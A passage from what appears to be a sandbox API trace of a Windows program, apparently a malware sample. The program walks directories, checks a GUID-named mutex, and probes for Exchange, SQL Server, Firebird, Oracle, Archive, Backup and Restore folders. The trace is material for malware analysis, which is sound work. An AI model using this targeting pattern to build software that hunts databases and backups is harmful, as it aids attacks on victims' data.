lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.503] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.503] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.503] GlobalUnlock (hMem=0x44000c) returned 0 [0047.503] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.503] GlobalLock (hMem=0x440004) returned 0x553188 [0047.503] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.503] GlobalUnlock (hMem=0x44000c) returned 0 [0047.503] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.503] GlobalUnlock (hMem=0x440004) returned 0 [0047.503] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.503] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x1a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUAUTH.CAB", cAlternateFileName="")) returned 1 [0047.503] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.503] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.503] GlobalLock (hMem=0x440004) returned 0x551178 [0047.503] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.503] GlobalUnlock (hMem=0x440004) returned 0 [0047.503] GlobalLock (hMem=0x440004) returned 0x551178 [0047.503] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.503] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.503] GlobalUnlock (hMem=0x440004) returned 0 [0047.503] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.503] GlobalUnlock (hMem=0x44000c) returned 0 [0047.503] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.503] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x6190, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUOPTIN.DLL", cAlternateFileName="")) returned 1 [0047.503] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.503] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.503] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.504] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.504] GlobalUnlock (hMem=0x44000c) returned 0 [0047.504] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.504] GlobalLock (hMem=0x440004) returned 0x553188 [0047.504] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.504] GlobalUnlock (hMem=0x44000c) returned 0 [0047.504] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.504] GlobalUnlock (hMem=0x440004) returned 0 [0047.504] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.504] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x161d5800, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xd63a22c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x161d5800, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x38d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oarpmany.exe", cAlternateFileName="")) returned 1 [0047.504] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.504] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.504] GlobalLock (hMem=0x440004) returned 0x551178 [0047.504] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.504] GlobalUnlock (hMem=0x440004) returned 0 [0047.504] GlobalLock (hMem=0x440004) returned 0x551178 [0047.504] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.504] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.504] GlobalUnlock (hMem=0x440004) returned 0 [0047.504] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.504] GlobalUnlock (hMem=0x44000c) returned 0 [0047.504] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.504] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f9d2900, ftCreationTime.dwHighDateTime=0x1cab9ac, ftLastAccessTime.dwLowDateTime=0xbe0f9da0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7f9d2900, ftLastWriteTime.dwHighDateTime=0x1cab9ac, nFileSizeHigh=0x0, nFileSizeLow=0x7568, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODBCMON.DLL", cAlternateFileName="")) returned 1 [0047.504] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.504] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.504] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.504] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.504] GlobalUnlock (hMem=0x44000c) returned 0 [0047.505] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.505] GlobalLock (hMem=0x440004) returned 0x553188 [0047.505] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.505] GlobalUnlock (hMem=0x44000c) returned 0 [0047.505] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.505] GlobalUnlock (hMem=0x440004) returned 0 [0047.505] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.505] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 1 [0047.505] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.505] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.505] GlobalLock (hMem=0x440004) returned 0x551178 [0047.505] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.505] GlobalUnlock (hMem=0x440004) returned 0 [0047.505] GlobalLock (hMem=0x440004) returned 0x551178 [0047.505] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.505] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.505] GlobalUnlock (hMem=0x440004) returned 0 [0047.505] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.505] GlobalUnlock (hMem=0x44000c) returned 0 [0047.505] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.505] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.505] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.505] GlobalUnlock (hMem=0x44000c) returned 0 [0047.505] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.505] GlobalLock (hMem=0x440004) returned 0x553188 [0047.505] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.505] GlobalUnlock (hMem=0x44000c) returned 0 [0047.505] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.505] GlobalUnlock (hMem=0x440004) returned 0 [0047.506] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.506] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller", len=0x4f | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller") returned 1 [0047.506] GlobalLock (hMem=0x440004) returned 0x551178 [0047.506] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.506] GlobalUnlock (hMem=0x440004) returned 0 [0047.506] GlobalLock (hMem=0x440004) returned 0x551178 [0047.506] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.506] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.506] GlobalUnlock (hMem=0x440004) returned 0 [0047.506] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.506] GlobalUnlock (hMem=0x44000c) returned 0 [0047.506] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69358, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@几R冴R企@\x18㿬Q\x18\x1b")) returned 0xffffffff [0047.518] GetLastError () returned 0x3 [0047.518] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\", cchLength=0x50 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\") returned 0x50 [0047.518] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0047.518] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0047.518] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69358, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="뭼R䱠@儔R企@\x18䀴Q\x181")) returned 0xffffffff [0047.519] GetLastError () returned 0x2 [0047.520] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\", cchLength=0x50 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\") returned 0x50 [0047.520] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0047.520] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0047.520] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69358, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="뭼R䱠@翌R企@\x18?T\x18;")) returned 0xffffffff [0047.522] GetLastError () returned 0x2 [0047.522] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\", cchLength=0x50 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\") returned 0x50 [0047.522] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69450, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0047.522] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0047.522] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69358, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="뭼R䱠@帜R企@\x18?T\x18D")) returned 0xffffffff [0047.523] GetLastError () returned 0x2 [0047.523] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\", cchLength=0x50 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\") returned 0x50 [0047.523] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69450, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0047.524] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0047.524] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69358, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="뭼R䱠@儔R企@\x18翌R\x18j")) returned 0xffffffff [0047.525] GetLastError () returned 0x2 [0047.525] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\", cchLength=0x50 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\") returned 0x50 [0047.525] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0047.525] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0047.525] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69358, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="뭼R䱠@ꍴR企@\x18?T\x18q")) returned 0xffffffff [0047.527] GetLastError () returned 0x2 [0047.527] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\", cchLength=0x50 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\") returned 0x50 [0047.527] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69450, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\翈RÐ") returned 6 [0047.527] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0047.527] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69358, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="뭼R䱠@ꑬR企@\x18?T\x18y")) returned 0xffffffff [0047.529] GetLastError () returned 0x2 [0047.529] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\", cchLength=0x50 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\") returned 0x50 [0047.529] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69450, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0047.529] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0047.529] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69358, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="뭼R䱠@帜R企@\x18?T\x18\x81")) returned 0xffffffff [0047.530] GetLastError () returned 0x2 [0047.530] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\", cchLength=0x50 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\") returned 0x50 [0047.530] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69450, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0047.531] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0047.531] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69358, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="뭼R䱠@ꍴR企@\x18?T\x18\x88")) returned 0xffffffff [0047.532] GetLastError () returned 0x2 [0047.532] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\", cchLength=0x50 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\") returned 0x50 [0047.532] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69450, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0047.532] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0047.532] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69358, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="뭼R䱠@ꑬR企@\x18?T\x18\x8f")) returned 0xffffffff [0047.544] GetLastError () returned 0x2 [0047.544] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\", cchLength=0x50 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\") returned 0x50 [0047.544] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69450, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0047.544] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0047.544] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69358, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="뭼R䱠@帜R企@\x18?T\x18\x97")) returned 0xffffffff [0047.566] GetLastError () returned 0x2 [0047.567] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\", cchLength=0x50 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\") returned 0x50 [0047.567] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69450, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0047.567] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.567] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.567] GlobalUnlock (hMem=0x44000c) returned 0 [0047.567] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.567] GlobalLock (hMem=0x440004) returned 0x553188 [0047.567] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.567] GlobalUnlock (hMem=0x44000c) returned 0 [0047.567] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.567] GlobalUnlock (hMem=0x440004) returned 0 [0047.567] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\", cchLength=0x50 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\") returned 0x50 [0047.567] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.567] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0047.567] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\", cchLength=0x50 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\") returned 0x50 [0047.567] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, 